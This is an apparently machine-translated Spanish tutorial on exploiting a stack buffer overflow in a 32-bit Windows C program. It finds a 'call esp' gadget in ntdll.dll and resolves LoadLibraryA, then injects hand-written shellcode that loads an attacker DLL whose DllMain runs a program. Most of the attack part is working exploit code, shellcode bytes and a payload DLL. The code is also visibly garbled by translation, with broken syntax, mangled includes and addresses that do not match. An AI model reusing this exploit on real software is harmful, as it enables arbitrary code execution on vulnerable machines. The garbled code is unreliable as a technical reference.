Cómo aprovechar los errores del programa de desbordamiento del búfer para ejecutar programas de piratas informáticos
Programa A:
#include
#include
void foo(const char *entrada)
{
char buf[10];
strcpy(buf, entrada)
}
int main(int argc, char *argv[])
{
foo("1234567890123456123456123456" );
return 0;
}
Inicie VS 2005 y luego establezca un punto de interrupción en strcpy después de ejecutar la función foo. , avance un solo paso hasta la última línea de la instrucción compilada de la función, es decir, la instrucción ret, y vea el valor almacenado en la dirección de memoria guardada por el registro especialmente en la ventana de memoria. Por supuesto, la ventana de memoria debe mostrarse en 4 bytes (en máquinas x86 o 32 bits). Puede ver que este valor también ha sido sobrescrito por la cadena del parámetro foo 12345678, y luego puede ver que el valor de esp y el valor de ebp son exactamente 8 bytes diferentes. Es decir, el formato en memoria es el siguiente:
El valor de ebp El valor de esp
^ ^
|
----------------------------------
| dirección de remitente |
----------- --------------------------- - p>
Mire nuevamente las últimas instrucciones de ensamblaje de la función foo: hermosa destrucción de pila estándar cuando la función sale:
mov esp ebp
pop ebp
ret
Después de ejecutar la instrucción ret, se devolverá el valor de esp.
Si almacenamos el código de shell (o el código ensamblador que escribimos especialmente) en la dirección de memoria señalada por esp y luego cambiamos la dirección de retorno de la función a la dirección del código de shell que llama, entonces escribimos El código shell también se ejecutará, momento en el que podrá hacer lo que queramos;).
Los siguientes son los pasos específicos:
1. Escriba un dll. De hecho, también se puede utilizar un programa exe, pero el método es ligeramente diferente si desea hacerlo directamente. Ejecute el programa exe, puede usar WinExec. Aquí, como quiero importar el dll que escribí en el programa A, uso la función LoadLibrary de WINAPI, y LoadLibrary requiere una función. LoadLibrary requiere un parámetro para especificar la ruta del archivo dll que se va a cargar.
2. En el dll que escribí, manejar las cosas es muy simple, solo inicia un programa, jaja, aquí está el código fuente:
#include
" stdafx.h"
#include
#include < windows.h>
#include <.h>
#ifdef _MANAGED
#pragma administrado(push, off)
#endif
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory ( &.si,
tamaño de(si) );
si.cb = tamaño de(si);
ZeroMemory( &pi, tamaño de(pi) ) ;
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // Esta condición se activa cada vez que un nuevo proceso carga un dll
WinExec(" C:/ /WINDOWS//notepad.exe",SW_SHOW);
Desconectado;
De forma predeterminada.
romper;
}
devolver VERDADERO;
}
#ifdef
_MANAGED
#pragma administrado(pop)
#endif
3. Para llamar a LoadLibrary, necesitamos escribir algunas instrucciones de ensamblaje, porque la CPU ejecuta el código de máquina, no instrucciones de ensamblaje, por lo que las instrucciones de ensamblaje deben convertirse a código de máquina. La conversión es muy sencilla, añade las siguientes líneas al código:
int main()
{
_asm {
jmp esp
}
}
Establezca un punto de interrupción al comienzo de la función principal y ejecute el programa. Después de interrumpir el programa, vaya al desmontaje y. Verá lo siguiente:
00401763 FF E4 jmp esp
00401763 es la dirección de este código ensamblador en el programa y FF E4 es el código de máquina correspondiente a jmp esp. Si FF E4 no aparece, haga clic derecho en la ventana de desmontaje y seleccione "Mostrar código de bytes" (VS 2005 versión en inglés).
Ahora la dirección en la llamada de cintura esp puede ser jmp esp o llamar a esp, pero este código debe estar en proceso de existencia. Bien, encontramos esta dirección en el programa. Ejecute el programa A nuevamente, establezca un punto de interrupción en la función principal y, después del punto de interrupción, seleccione Depurar - Ventana - Módulo para ver todas las DLL cargadas en el programa (ya sean cargadas dinámicamente o estáticamente). El programa A debería tener kernel32.dll y ntdll.dll, y posiblemente msvcrt8.dll.
Veamos si hay códigos de máquina correspondientes en estas DLL.
¿Cómo desmontar dll? Dumpbin tiene una opción /disasm que puede desensamblar cualquier archivo PE (DLL o EXE)
Abra la ventana cmd y ejecute dumpbin /disasm c:/windows/system32/kernel32.dll findstr /c: "FF E4", oh oh, no hay respuesta. Intente ntdll.dll nuevamente, pero todavía no funciona. Intente llamar a esp, su máquina es FF E5. kernel32.dll no está ahí, ajá, ntdll.dll está ahí, este es el resultado de la búsqueda:
7C914393: FF E5 llama a esp
4. Para escribir el código shell que llama LoadLibrary, necesita saber LoadLibrary La dirección de la función se obtiene de la siguiente manera: LoadLibrary está en kernel32.dll, inicie Depends.exe, Depends.exe está incluido en el SDK de Windows, también puede buscar en línea, descargar uno y usarlo, pero Si realmente no puedes encontrarlo, ¡me sacrificaré!
Depends.exe está incluido en el SDK de Windows. Sugerencia | Función | Punto de entrada
------------------------------- -------------------------------------------------- ------
754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF
Dependiendo del sistema operativo, los valores pueden ser diferentes. dll en la ventana inferior La dirección base (Base preferida) es 0x77E00000 Módulo ...Hay muchas omisiones en el medio... | Base preferida
----------- --------------- ----------------------------------- --------------- ---
Kernel32.dll | .... | 0x77E000000
Presione la base preferida de Kernel32.dll y el punto de entrada de LoadLibraryA para obtener la dirección de LoadLibraryA en el programa: 0x77E445EF.
5. Finalmente, escribe código ensamblador para ejecutar tu hack:
5. Hack:
_asm {
mov eax 0x77E445EF / / Almacena la dirección de LoadLibraryA en el registro eax
Llama a L4
L2: llama a eax // Llama a LoadLibraryA, el programa se ejecutará hasta este punto.
Los parámetros de LoadLibraryA ya están en la pila
L3: jmp L3 // Bucle para asegurar que el programa hacker no muera
L4: Llame a L2
}
6. Finalmente, el programa de muestra es el siguiente:
#include
#include <. string.h> void func(char *p) { char stack_temp[20]; strcpy(stack_temp, p); printf( stack_temp); } void foo() { printf ("Esto no debería llamarse "); } int main(int argc, char *argv[]) { func("TENGO MÁS DE VEINTITRÉS/x93/x43/x91/x7C" "/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C Dirección de LoadLibraryA "/ xEB/ x04" // llamar a L4 "/xFF/xD0" // L2: llamar a eax "/xEB/xFE" // L3: jmp L3 "/xE8/xF7/xFF/xFF/xFF" // L4: Llamar a L2 "c://hack.dll/0 "); de LoadLibraryA, es decir, cargamos deliberadamente el archivo dll y devolvemos 0; } Listo, cansado .